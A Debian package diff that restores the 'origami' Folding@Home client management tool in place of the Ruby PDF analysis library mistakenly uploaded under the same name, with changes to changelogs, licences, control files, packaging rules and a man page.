Wed, 01 Jun 2007 12:00:00 -0600 diff -Nru origami-1.2.7/CHANGELOG origami-1.2.7+really0.7.4/CHANGELOG --- origami-1.2.7/CHANGELOG 2011-09-29 15:18:36.000000000 +0000 +++ origami-1.2.7+really0.7.4/CHANGELOG 1970-01-01 00:00:00.000000000 +0000 @@ -1,79 +0,0 @@ -# CHANGELOG - -1.2.0 (29/09/11): - |origami|: - - Support for JavaScript emulation based on V8 (requires therubyracer gem). - -1.1.0 (14/09/11): - |origami| - - Support for standard security handler revision 6. - -1.0.2 (25/05/11): - - Added a Rakefile to run unit tests, build rdoc and build gem. - - Added a Ruby shell for Origami. - - Added a bin folder, with some very useful command-line tools. - - Can now be installed as a RubyGem. - - |origami|: - - AESV3 support (AES256 encryption/decryption). - - Encryption/decryption can be achieved with or without openssl. - - Changed PDF#encrypt prototype. - - Support for G3 unidimensional encoding/decoding of CCITTFax filter. - - Support for TIFF stream predictor functions. - - Name trees lookup methods. - - Renamed PDF#saveas to PDF#save. - - Lots of bug fixes. - |doc|: - - Updated. - -beta3 (26/08/10): - |origami|: - - Faster decryption process. - - Can now properly parse objects with no endobj token. - |walker|: - - Image viewer. - -beta2 (01/04/10): - Directory tree has changed. Sources are in the origami folder, and you - have to require origami.rb located in the root directory. - - |origami|: - - Added a force flag to detect PDF header in the file. - - Support for Flash/RichMedia integration. - - PDF#objects prototype has changed. - - XFA forms. - - Fixed various bugs. - |walker|: - - Search feature. - -beta1 (15/09/09): - |sources/parser|: - - Renamed 'Action::WindowsApplication' to 'Action::Launch::WindowsLaunchParams'. - - Basic support for graphics drawing as lines, colors, shading, shapes... - - Support for numerical functions. - - Support for date strings. - - Added PDF#insert_page(index, page) method. - - Added a forms widgets template. - - Ability to delinearize documents. - - Fixed various bugs. - -beta0 (06/07/09): - |sources/parser|: - - Support for XRef streams. - - Support for Object streams creation. - - Support for PNG stream predictor functions. - |sources/scripts/scan|: - - Added a scanning script. - |sources/scripts/antivir|: - - Added an cleaning script. - |sources/scripts/metadata|: - - Metadata printer. - |sources/samples/open|: - - Various methods to trigger an action at the document opening. - -alpha1 (19/06/09): - |sources/scripts/crypto|: - - Added an encryption script. - |sources/parser|: - - Bugfix in Array handling. - diff -Nru origami-1.2.7/COPYING.LESSER origami-1.2.7+really0.7.4/COPYING.LESSER --- origami-1.2.7/COPYING.LESSER 2010-03-30 13:56:37.000000000 +0000 +++ origami-1.2.7+really0.7.4/COPYING.LESSER 1970-01-01 00:00:00.000000000 +0000 @@ -1,165 +0,0 @@ - GNU LESSER GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - - This version of the GNU Lesser General Public License incorporates -the terms and conditions of version 3 of the GNU General Public -License, supplemented by the additional permissions listed below. - - 0. Additional Definitions. - - As used herein, "this License" refers to version 3 of the GNU Lesser -General Public License, and the "GNU GPL" refers to version 3 of the GNU -General Public License. - - "The Library" refers to a covered work governed by this License, -other than an Application or a Combined Work as defined below. - - An "Application" is any work that makes use of an interface provided -by the Library, but which is not otherwise based on the Library. -Defining a subclass of a class defined by the Library is deemed a mode -of using an interface provided by the Library. - - A "Combined Work" is a work produced by combining or linking an -Application with the Library. The particular version of the Library -with which the Combined Work was made is also called the "Linked -Version". - - The "Minimal Corresponding Source" for a Combined Work means the -Corresponding Source for the Combined Work, excluding any source code -for portions of the Combined Work that, considered in isolation, are -based on the Application, and not on the Linked Version. - - The "Corresponding Application Code" for a Combined Work means the -object code and/or source code for the Application, including any data -and utility programs needed for reproducing the Combined Work from the -Application, but excluding the System Libraries of the Combined Work. - - 1. Exception to Section 3 of the GNU GPL. - - You may convey a covered work under sections 3 and 4 of this License -without being bound by section 3 of the GNU GPL. - - 2. Conveying Modified Versions. - - If you modify a copy of the Library, and, in your modifications, a -facility refers to a function or data to be supplied by an Application -that uses the facility (other than as an argument passed when the -facility is invoked), then you may convey a copy of the modified -version: - - a) under this License, provided that you make a good faith effort to - ensure that, in the event an Application does not supply the - function or data, the facility still operates, and performs - whatever part of its purpose remains meaningful, or - - b) under the GNU GPL, with none of the additional permissions of - this License applicable to that copy. - - 3. Object Code Incorporating Material from Library Header Files. - - The object code form of an Application may incorporate material from -a header file that is part of the Library. You may convey such object -code under terms of your choice, provided that, if the incorporated -material is not limited to numerical parameters, data structure -layouts and accessors, or small macros, inline functions and templates -(ten or fewer lines in length), you do both of the following: - - a) Give prominent notice with each copy of the object code that the - Library is used in it and that the Library and its use are - covered by this License. - - b) Accompany the object code with a copy of the GNU GPL and this license - document. - - 4. Combined Works. - - You may convey a Combined Work under terms of your choice that, -taken together, effectively do not restrict modification of the -portions of the Library contained in the Combined Work and reverse -engineering for debugging such modifications, if you also do each of -the following: - - a) Give prominent notice with each copy of the Combined Work that - the Library is used in it and that the Library and its use are - covered by this License. - - b) Accompany the Combined Work with a copy of the GNU GPL and this license - document. - - c) For a Combined Work that displays copyright notices during - execution, include the copyright notice for the Library among - these notices, as well as a reference directing the user to the - copies of the GNU GPL and this license document. - - d) Do one of the following: - - 0) Convey the Minimal Corresponding Source under the terms of this - License, and the Corresponding Application Code in a form - suitable for, and under terms that permit, the user to - recombine or relink the Application with a modified version of - the Linked Version to produce a modified Combined Work, in the - manner specified by section 6 of the GNU GPL for conveying - Corresponding Source. - - 1) Use a suitable shared library mechanism for linking with the - Library. A suitable mechanism is one that (a) uses at run time - a copy of the Library already present on the user's computer - system, and (b) will operate properly with a modified version - of the Library that is interface-compatible with the Linked - Version. - - e) Provide Installation Information, but only if you would otherwise - be required to provide such information under section 6 of the - GNU GPL, and only to the extent that such information is - necessary to install and execute a modified version of the - Combined Work produced by recombining or relinking the - Application with a modified version of the Linked Version. (If - you use option 4d0, the Installation Information must accompany - the Minimal Corresponding Source and Corresponding Application - Code. If you use option 4d1, you must provide the Installation - Information in the manner specified by section 6 of the GNU GPL - for conveying Corresponding Source.) - - 5. Combined Libraries. - - You may place library facilities that are a work based on the -Library side by side in a single library together with other library -facilities that are not Applications and are not covered by this -License, and convey such a combined library under terms of your -choice, if you do both of the following: - - a) Accompany the combined library with a copy of the same work based - on the Library, uncombined with any other library facilities, - conveyed under the terms of this License. - - b) Give prominent notice with the combined library that part of it - is a work based on the Library, and explaining where to find the - accompanying uncombined form of the same work. - - 6. Revised Versions of the GNU Lesser General Public License. - - The Free Software Foundation may publish revised and/or new versions -of the GNU Lesser General Public License from time to time. Such new -versions will be similar in spirit to the present version, but may -differ in detail to address new problems or concerns. - - Each version is given a distinguishing version number. If the -Library as you received it specifies that a certain numbered version -of the GNU Lesser General Public License "or any later version" -applies to it, you have the option of following the terms and -conditions either of that published version or of any later version -published by the Free Software Foundation. If the Library as you -received it does not specify a version number of the GNU Lesser -General Public License, you may choose any version of the GNU Lesser -General Public License ever published by the Free Software Foundation. - - If the Library as you received it specifies that a proxy can decide -whether future versions of the GNU Lesser General Public License shall -apply, that proxy's public statement of acceptance of any version is -permanent authorization for you to choose that version for the -Library. diff -Nru origami-1.2.7/copyright origami-1.2.7+really0.7.4/copyright --- origami-1.2.7/copyright 1970-01-01 00:00:00.000000000 +0000 +++ origami-1.2.7+really0.7.4/copyright 2010-05-24 20:02:16.000000000 +0000 @@ -0,0 +1,25 @@ +Copyright 2007-2010 Christer Edwards. All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are +permitted provided that the following conditions are met: + + 1. Redistributions of source code must retain the above copyright notice, this list of + conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright notice, this list + of conditions and the following disclaimer in the documentation and/or other materials + provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY Christer Edwards ``AS IS'' AND ANY EXPRESS OR IMPLIED +WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL Christer Edwards OR +CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +The views and conclusions contained in the software and documentation are those of the +authors and should not be interpreted as representing official policies, either expressed +or implied, of Christer Edwards. diff -Nru origami-1.2.7/debian/changelog origami-1.2.7+really0.7.4/debian/changelog --- origami-1.2.7/debian/changelog 2014-11-07 00:14:48.000000000 +0000 +++ origami-1.2.7+really0.7.4/debian/changelog 2014-12-15 18:42:46.000000000 +0000 @@ -1,5 +1,82 @@ -origami (1.2.7-1) unstable; urgency=medium +origami (1.2.7+really0.7.4-1) unstable; urgency=medium - * Initial release (Closes: #767911) + * Non-maintainer upload. + * Restore original origami package which by my mistake was replaced by a + new, unrelated package (Closes: #773197). - -- Antonio Terceiro Thu, 06 Nov 2014 18:06:05 -0200 + -- Antonio Terceiro Mon, 15 Dec 2014 16:41:53 -0200 + +origami (0.7.4-1) unstable; urgency=low + + * Uploading to Debian Unstable. + + -- Christer Edwards Mon, 24 Jan 2011 23:48:34 +0100 + +origami (0.7.4-0ubuntu1) maverick; urgency=low + + * New upstream release: + - Change license to BSD. + - Add support for -advmethods. + - Changed size option from -b to -s. + - Network-status no longer requires root. + * Switch to 3.0 (quilt) format. + * Update debian/copyright. + + -- Alessio Treglia Wed, 16 Jun 2010 14:39:43 +0200 + +origami (0.7.3-0ubuntu1) lucid; urgency=low + + * New upstream release + * Update debian/copyright + * Bump Standards-Version to 3.8.4 (no changes) + + -- Nathan Handler Mon, 08 Feb 2010 17:41:54 -0600 + +origami (0.7.1.6-0ubuntu1) lucid; urgency=low + + * New upstream release + + -- Nathan Handler Mon, 30 Nov 2009 22:16:17 -0600 + +origami (0.7.1.5-0ubuntu1) lucid; urgency=low + + * New upstream release + + -- Nathan Handler Fri, 27 Nov 2009 22:35:28 -0600 + +origami (0.7.1.1-0ubuntu1) lucid; urgency=low + + * New upstream release. + * Bump Standards. + * Switch to debhelper 7, drop cdbs. + * Update debian/copyright. + + -- Alessio Treglia Wed, 04 Nov 2009 18:15:18 +0100 + +origami (0.7-0ubuntu1) karmic; urgency=low + + * New upstream release. + * debian/copyright: Update to the last format spec. + * debian/control: Bump-up Standards. + * debian/origami.pod: + - Fix POD errors, this makes lintian happy. + + -- Alessio Treglia Wed, 20 May 2009 15:49:19 +0200 + +origami (0.6.9-0ubuntu1) jaunty; urgency=low + + * New upstream release + * debian/control - remove binary dep on acpi-support + + -- Steve Stalcup Wed, 12 Nov 2008 20:13:48 -0500 + +origami (0.6.8.3-0ubuntu1) intrepid; urgency=low + + [ Christer ] + * initial packaging (LP: #209235) + + [ Harald Sitter ] + * Add needs-packaging bug + * Change distro series from hardy to intrepid + + -- Harald Sitter Thu, 21 Aug 2008 20:32:44 +0200 diff -Nru origami-1.2.7/debian/compat origami-1.2.7+really0.7.4/debian/compat --- origami-1.2.7/debian/compat 2014-11-07 00:14:48.000000000 +0000 +++ origami-1.2.7+really0.7.4/debian/compat 2010-06-16 12:31:57.000000000 +0000 @@ -1 +1 @@ -9 +7 diff -Nru origami-1.2.7/debian/control origami-1.2.7+really0.7.4/debian/control --- origami-1.2.7/debian/control 2014-11-07 00:14:48.000000000 +0000 +++ origami-1.2.7+really0.7.4/debian/control 2011-01-24 22:51:31.000000000 +0000 @@ -1,38 +1,19 @@ Source: origami -Section: ruby +Section: science Priority: optional -Maintainer: Debian Ruby Extras Maintainers -Uploaders: Antonio Terceiro -Build-Depends: debhelper (>= 9), gem2deb, rake, ruby-test-unit -Standards-Version: 3.9.6 -Vcs-Git: git://anonscm.debian.org/pkg-ruby-extras/origami.git -Vcs-Browser: http://anonscm.debian.org/gitweb/?p=pkg-ruby-extras/origamigit;a=summary -Homepage: https://code.google.com/p/origami-pdf/ -Testsuite: autopkgtest -XS-Ruby-Versions: all - -Package: ruby-origami -Architecture: all -XB-Ruby-Versions: ${ruby:Versions} -Depends: ${misc:Depends}, ruby | ruby-interpreter -Description: PDF analysis and manipulation tool (Ruby library) - Origami is a PDF-compliant parser. It provides a scripting tool to generate - and analyze malicious PDF files. It can also be used to create on-the-fly - customized PDFs, or to inject (evil) code into already existing documents. - . - This package contains the Ruby library code, which can be used from other Ruby - programs to manipulate PDF's. +Maintainer: Christer Edwards +Build-Depends: debhelper (>= 7.0.50) +Build-Depends-Indep: perl +Standards-Version: 3.8.4 +Homepage: http://zelut.org/projects/origami Package: origami Architecture: all -XB-Ruby-Versions: ${ruby:Versions} -Depends: ${misc:Depends}, ruby | ruby-interpreter, ruby-origami -Recommends: ruby-gtk2 -Description: PDF analysis and manipulation tool - Origami is a PDF-compliant parser. It provides a scripting tool to generate - and analyze malicious PDF files. It can also be used to create on-the-fly - customized PDFs, or to inject (evil) code into already existing documents. - . - This package contains command line tools to analyse and manipulate PDF's as - well as a GUI tool to explore the structure of PDF files. - +Depends: ${misc:Depends}, wget | curl, bash (>=3.2) +Description: command-line management tool for Folding @ Home clients + origami allows you to install, monitor, archive or restore Folding @ + Home data on your local machine. It also allows for central + deployment, monitoring, archiving, restoration and updating the + username and team data via the network to ssh-accessible machines. + origami supports cron-based scheduling, 32bit or 64bit and network + proxy settings. diff -Nru origami-1.2.7/debian/copyright origami-1.2.7+really0.7.4/debian/copyright --- origami-1.2.7/debian/copyright 2014-11-07 00:14:48.000000000 +0000 +++ origami-1.2.7+really0.7.4/debian/copyright 2010-06-16 12:38:55.000000000 +0000 @@ -1,38 +1,52 @@ -Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/ -Upstream-Name: ruby-origami -Source: https://code.google.com/p/origami-pdf/ -Files-Excluded: samples/flash/helloworld.swf +Format-Specification: http://svn.debian.org/wsvn/dep/web/deps/dep5.mdwn?op=file&rev=135 +Name: Origami +Maintainer: Christer Edwards +Source: http://zelut.org/projects/origami/ -Files: * -Copyright: Guillaume Delugré - Frédéric Raynal -License: LGPL-3 - -Files: bin/gui/* -Copyright: Guillaume Delugré - Frédéric Raynal -License: GPL-3 - -Files: debian/* -Copyright: 2014 Antonio Terceiro -License: GPL-3 - -License: LGPL-3 - This software is distributed under the LGPL license. +Copyright: 2007-2010, Christer Edwards +License: BSD + Redistribution and use in source and binary forms, with or without modification, are + permitted provided that the following conditions are met: . - Exception is for the PDF Walker graphical interface located in subdirectory - bin/gui, which is distributed under the GPL license. See bin/gui/COPYING file - for more details. + 1. Redistributions of source code must retain the above copyright notice, this list of + conditions and the following disclaimer. . - On Debian systems, the full text of the GNU Lesser General Public License - version 3 can be found in the file `/usr/share/common-licenses/LGPL-3'. + 2. Redistributions in binary form must reproduce the above copyright notice, this list + of conditions and the following disclaimer in the documentation and/or other materials + provided with the distribution. + . + THIS SOFTWARE IS PROVIDED BY Christer Edwards ``AS IS'' AND ANY EXPRESS OR IMPLIED + WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND + FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL Christer Edwards OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON + ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF + ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + . + The views and conclusions contained in the software and documentation are those of the + authors and should not be interpreted as representing official policies, either expressed + or implied, of Christer Edwards. -License: GPL-3 - This software is distributed under the LGPL license. +Files: debian/* +Copyright: + 2010, Nathan Handler + 2009-2010, Alessio Treglia + 2008, Christer Edwards +License: GPL-2 + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + . + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. . - Exception is for the PDF Walker graphical interface located in subdirectory - bin/gui, which is distributed under the GPL license. See bin/gui/COPYING file - for more details. - On Debian systems, the full text of the GNU General Public - License version 3 can be found in the file - `/usr/share/common-licenses/GPL-3'. + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. +X-Comment: On Debian GNU/Linux systems, the complete text of the GNU General + Public License can be found in `/usr/share/common-licenses/GPL-2'. diff -Nru origami-1.2.7/debian/origami.docs origami-1.2.7+really0.7.4/debian/origami.docs --- origami-1.2.7/debian/origami.docs 1970-01-01 00:00:00.000000000 +0000 +++ origami-1.2.7+really0.7.4/debian/origami.docs 2010-06-16 12:31:57.000000000 +0000 @@ -0,0 +1,2 @@ +README +changelog diff -Nru origami-1.2.7/debian/origami.install origami-1.2.7+really0.7.4/debian/origami.install --- origami-1.2.7/debian/origami.install 2014-11-07 00:14:48.000000000 +0000 +++ origami-1.2.7+really0.7.4/debian/origami.install 2010-06-16 12:31:57.000000000 +0000 @@ -1,4 +1 @@ -bin/gui usr/share/origami -bin/config/pdfcop.conf.yml etc/origami -bin/shell usr/share/origami -bin/pdf* usr/bin +origami usr/bin diff -Nru origami-1.2.7/debian/origami.manpages origami-1.2.7+really0.7.4/debian/origami.manpages --- origami-1.2.7/debian/origami.manpages 1970-01-01 00:00:00.000000000 +0000 +++ origami-1.2.7+really0.7.4/debian/origami.manpages 2010-06-16 12:31:57.000000000 +0000 @@ -0,0 +1 @@ +debian/origami.1 diff -Nru origami-1.2.7/debian/origami.pod origami-1.2.7+really0.7.4/debian/origami.pod --- origami-1.2.7/debian/origami.pod 1970-01-01 00:00:00.000000000 +0000 +++ origami-1.2.7+really0.7.4/debian/origami.pod 2010-06-16 12:31:57.000000000 +0000 @@ -0,0 +1,205 @@ +=head1 NAME + +Origami - command-line management tool for Folding @ Home clients. + +=head1 SYNOPSIS + +origami {install | archive | restore | erase | name | status | monitor | proxy | start | stop | version | help} [...] + +origami {deploy | network-archive | network-restore | network-name | network-monitor | network-name | network-start | network-stop} [...] + +origami help + +origami version + +=head1 DESCRIPTION + +Origami allows you to install, monitor, archive or restore Folding @ Home data +on your local machine. It also allows for central deployment, monitoring, +archiving, restoration and updating the username and team data via the network +to ssh-accessible machines. + +Origami supports cron-based scheduling, 32bit or 64bit and network proxy settings. +Install Stanfords Folding @ Home client to a single machine or network of machines. + +=head1 COMMAND-LINE ACTIONS + +The first argument which does not begin with a hyphen ("-") is considered to be +an action that the program should perform. If an action is not specified +B will display the help output. + +The following actions are available to the local machine: + +=over 8 + +=item B + +Install Folding @ Home to the local machine. This action will create a +dedicated user, storage location for Folding @ Home data, startup +script and request a work unit. + +=item B + +Install Folding @ Home to remote machines as listed in the ~/.origamirc file. +This action will create a dedicated user, storage location for Folding @ Home +data, startup script and request a work unit on the remote machine. SSH +access as the root user is required for the deploy action. + +=item B + +Archive Folding @ Home data for the local Folding @ Home client. This action +will stop the Folding @ Home client, archive the current progress into a +-.tar.bz2 format and store the data in ~/.origami/. + +=item B + +Archive Folding @ Home data on the remote Folding @ Home client as listed in the +~/.origamirc. This action will stop the Folding @ Home client, archive the +current progress into a -.tar.bz2 format and store the data in ~/.origami/. + +=item B + +Restore Folding @ Home data on the local machine. This action will +require previously archived data (as generated by the archive action). + +=item B + +Restore Folding @ Home data on the remote Folding @ Home clients as listed in the +~/.origamirc. This action will require previously archived data (as generated by +the network-archive action). + +=item B + +Erase current Folding @ Home installation. Anything generated by the +install function will be removed and all Folding @ Home progress will +be lost. + +=item B + +Update the username and team information for the local Folding @ Home +client. It is generally preferred to define username and team at +installation with the install action. + +=item B + +Update the username and team information for the remote Folding @ Home +clients. It is generally preferred to define username and team at +installation with the deploy action. + +=item B + +Display the current progress of the local Folding @ Home client. + +=item B + +Disploy the current progress of the remote Folding @ Home clients as listed +in the ~/.origamirc. + +=item B + +Update the proxy settings for the local Folding @ Home client. This +action requires a port and hostname. It is generally preferred to +define the proxy port and hostname at installation with the install +action. + +=item B + +Start the local Folding @ Home client. (This calls /etc/init.d/origami start) + +=item B + +Start the remote Folding @ Home clients as listed in the ~/.origamirc. + +=item B + +Stop the local Folding @ Home client. (This calls /etc/init.d/origami stop) + +=item B + +Stop the remote Folding @ Home clients as listed in the ~/.origamirc. + +=item B + +Display the Origami version. + +=item B + +Display the Origami help output. + +=back + +=head1 OPTIONS + +=over + +=item B<-u|--user=I> + +Define the USERNAME that Folding @ Home data should credit. Default is Anonymous. + +=item B<-t|--team=I> + +Define the TEAM NUMBER that Folding @ Home data should credit. Default is 0. + +=item B<-c|--cron=I> + +Activate cron scheduling for the Folding @ Home client. Default is off (0). + +=item B<-p|--proc=I> + +Define i386 or amd64 Folding @ Home client. Default is i386. + +=item B<-P|--port=I> + +Define the port to be used in conjunction with a proxy. Default is 8080. + +=item B<-H|--host=I> + +Define the IP or hostname to be used in conjunction with a proxy. Default is localhost. + +=back + +=head1 EXAMPLES + +=over + +=item B + +This example will install the Folding @ Home client to the local machine, reporting data +as the default Anonymous user and default 0 Team. + +=item B + +This example will install the Folding @ Home client to the local machine, reporting data +as the B user as part of the 45104 (TeamUbuntu) Team. + +=item B + +This example will install the Folding @ Home client to all machines listed in the ~/.origamirc +file, reporting data as the B user as part of the 45104 (TeamUbuntu) Team. + +=item B + +This example will install the Folding @ home client to the local machine, reporting data +as the B user as part of the 45104 (TeamUbuntu) Team, using the amd64 Folding @ Home client +and toggling the cron option to auto-stop between the hours of 8:00am and 5:00pm. + +=item B + +This example will display the current status of the Folding @ Home clients on all machines +listed in the ~/.origamirc file. + +=back + +=head1 BUGS + +To find a list of current bugs, or to report a bug new bug please see https://bugs.launchpad.net/origami. + +=head1 AUTHORS + +B was written by Christer Edwards . +This manual page was written by Christer Edwards . + +Both are released under the GNU General Public License, version 2 or later. + +=cut + diff -Nru origami-1.2.7/debian/patches/gemspec.patch origami-1.2.7+really0.7.4/debian/patches/gemspec.patch --- origami-1.2.7/debian/patches/gemspec.patch 2014-11-07 00:14:48.000000000 +0000 +++ origami-1.2.7+really0.7.4/debian/patches/gemspec.patch 1970-01-01 00:00:00.000000000 +0000 @@ -1,24 +0,0 @@ ---- a/Rakefile.rb -+++ b/Rakefile.rb -@@ -20,7 +20,7 @@ As well, it can be used to create on-the - DESC - - s.files = FileList[ -- 'README', 'COPYING.LESSER', "{lib,bin,tests,samples,templates}/**/*", "bin/shell/.irbrc" -+ 'README', 'COPYING.LESSER', "{lib,bin,test,samples,templates}/**/*", "bin/shell/.irbrc" - ].exclude(/\.pdf$/, /\.key$/, /\.crt$/, /\.conf$/).to_a - - s.require_path = "lib" -@@ -35,6 +35,12 @@ end - - task :default => [:package] - -+task :gemspec do -+ File.open("#{spec.name}.gemspec", 'w') do |f| -+ f.write(spec.to_ruby) -+ end -+end -+ - Gem::PackageTask.new(spec) do |pkg| - pkg.need_tar = true - end diff -Nru origami-1.2.7/debian/patches/paths.patch origami-1.2.7+really0.7.4/debian/patches/paths.patch --- origami-1.2.7/debian/patches/paths.patch 2014-11-07 00:14:48.000000000 +0000 +++ origami-1.2.7+really0.7.4/debian/patches/paths.patch 1970-01-01 00:00:00.000000000 +0000 @@ -1,42 +0,0 @@ -Description: Adjust paths to work against installed code - Packages in Debian must not put files in subdirectories of /usr/bin -Author: Antonio Terceiro -Origin: vendor -Forwarded: not-needed -Last-Update: 2014-11-06 ---- -This patch header follows DEP-3: http://dep.debian.net/deps/dep3/ ---- a/bin/pdfcop -+++ b/bin/pdfcop -@@ -41,7 +41,7 @@ require 'yaml' - require 'rexml/document' - require 'digest/md5' - --DEFAULT_CONFIG_FILE = "#{File.dirname(__FILE__)}/config/pdfcop.conf.yml" -+DEFAULT_CONFIG_FILE = "/etc/origami/pdfcop.conf.yml" - DEFAULT_POLICY = "standard" - SECURITY_POLICIES = {} - ---- a/bin/pdfsh -+++ b/bin/pdfsh -@@ -6,8 +6,8 @@ rescue LoadError - abort "Error: you need to install irb to run this application." - end - --$:.unshift "#{File.dirname(__FILE__)}/shell" --ENV["IRBRC"] = "#{File.dirname(__FILE__)}/shell/.irbrc" -+$:.unshift "/usr/share/origami/shell" -+ENV["IRBRC"] = "/usr/share/origami/shell/.irbrc" - - IRB.start - ---- a/bin/pdfwalker -+++ b/bin/pdfwalker -@@ -1,6 +1,6 @@ - #!/usr/bin/env ruby - --$:.unshift "#{File.dirname(__FILE__)}" -+$:.unshift "/usr/share/origami" - require 'gui/walker' - - PDFWalker::Walker.start(ARGV[0]) diff -Nru origami-1.2.7/debian/patches/series origami-1.2.7+really0.7.4/debian/patches/series --- origami-1.2.7/debian/patches/series 2014-11-07 00:14:48.000000000 +0000 +++ origami-1.2.7+really0.7.4/debian/patches/series 1970-01-01 00:00:00.000000000 +0000 @@ -1,2 +0,0 @@ -gemspec.patch -paths.patch diff -Nru origami-1.2.7/debian/ruby-origami.examples origami-1.2.7+really0.7.4/debian/ruby-origami.examples --- origami-1.2.7/debian/ruby-origami.examples 2014-11-07 00:14:48.000000000 +0000 +++ origami-1.2.7+really0.7.4/debian/ruby-origami.examples 1970-01-01 00:00:00.000000000 +0000 @@ -1 +0,0 @@ -samples/* diff -Nru origami-1.2.7/debian/ruby-tests.rake origami-1.2.7+really0.7.4/debian/ruby-tests.rake --- origami-1.2.7/debian/ruby-tests.rake 2014-11-07 00:14:48.000000000 +0000 +++ origami-1.2.7+really0.7.4/debian/ruby-tests.rake 1970-01-01 00:00:00.000000000 +0000 @@ -1,6 +0,0 @@ -require 'gem2deb/rake/testtask' - -Gem2Deb::Rake::TestTask.new do |t| - t.libs << 'test' - t.test_files = FileList['test/ts_pdf.rb'] -end diff -Nru origami-1.2.7/debian/rules origami-1.2.7+really0.7.4/debian/rules --- origami-1.2.7/debian/rules 2014-11-07 00:14:48.000000000 +0000 +++ origami-1.2.7+really0.7.4/debian/rules 2010-06-16 12:31:57.000000000 +0000 @@ -1,19 +1,11 @@ #!/usr/bin/make -f - -override_dh_auto_build: - rake gemspec - -override_dh_auto_clean: - $(RM) *.gemspec - dh_auto_clean - + %: - dh $@ --buildsystem=ruby --with ruby + dh $@ -override_dh_auto_install: - dh_auto_install - $(RM) -r $(CURDIR)/debian/ruby-origami/usr/bin +override_dh_auto_clean: + rm -f debian/origami.1 -override_dh_install: - dh_install - $(RM) $(CURDIR)/debian/origami/usr/share/origami/gui/COPYING +override_dh_auto_build: + pod2man --section=1 --release=$(VERSION) --center "" \ + debian/origami.pod > debian/origami.1 diff -Nru origami-1.2.7/debian/tests/control origami-1.2.7+really0.7.4/debian/tests/control --- origami-1.2.7/debian/tests/control 2014-11-07 00:14:48.000000000 +0000 +++ origami-1.2.7+really0.7.4/debian/tests/control 1970-01-01 00:00:00.000000000 +0000 @@ -1,6 +0,0 @@ -Test-Command: pdfcop samples/digsig/signed.pdf - -Test-Command: pdfsh < /dev/null | grep Origami - -Test-Command: gem2deb-test-runner --autopkgtest 2>&1 -Depends: @, rake,ruby-test-unit, gem2deb-test-runner diff -Nru origami-1.2.7/debian/watch origami-1.2.7+really0.7.4/debian/watch --- origami-1.2.7/debian/watch 2014-11-07 00:14:48.000000000 +0000 +++ origami-1.2.7+really0.7.4/debian/watch 2010-06-16 12:31:57.000000000 +0000 @@ -1,3 +1,2 @@ version=3 -opts=downloadurlmangle=s|.*/download/origami-(.*)\.tar\.gz|http://origami-pdf.googlecode.com/archive/$1.tar.gz| \ - http://pkg-ruby-extras.alioth.debian.org/cgi-bin/gemwatch/origami .*/origami-(.*).tar.gz +http://zelut.org/projects/origami/origami-([0-9].*)\.tar\.gz diff -Nru origami-1.2.7/.hgignore origami-1.2.7+really0.7.4/.hgignore --- origami-1.2.7/.hgignore 2010-09-08 20:12:08.000000000 +0000 +++ origami-1.2.7+really0.7.4/.hgignore 1970-01-01 00:00:00.000000000 +0000 @@ -1,37 +0,0 @@ -syntax: glob -pkg -#doc -*~ -*.raw -*.tps -*.out -*.nls -*.nlo -*.aux -*.log -*.toc -*.out -*.nav -*.snm -*.vrb -*.pyc -*.swp -*.bak -*.gz -*.tar -*.bz2 -*.tgz -*.tbz2 -*.zip -*.dvi -*.bbl -*.blg -.DS_Store -*.tps -*.tcp -*.ps -*.old -*.dot -*.conf -\._* - diff -Nru origami-1.2.7/.hgtags origami-1.2.7+really0.7.4/.hgtags --- origami-1.2.7/.hgtags 2013-05-14 10:27:41.000000000 +0000 +++ origami-1.2.7+really0.7.4/.hgtags 1970-01-01 00:00:00.000000000 +0000 @@ -1,27 +0,0 @@ -dc00b559947ef9f0f3471e9d0d538d907ff35dcd 1.0.0-beta1b -31a39df2872e786ddc1765c70cacddc912708ccb 1.0.0-beta2 -499e086b89c5cb70e9890b939932e88457826c66 1.0.0-beta3 -39ee51ab45091aa36de0da2b8f85e93a0bd00f3e 1.0.1 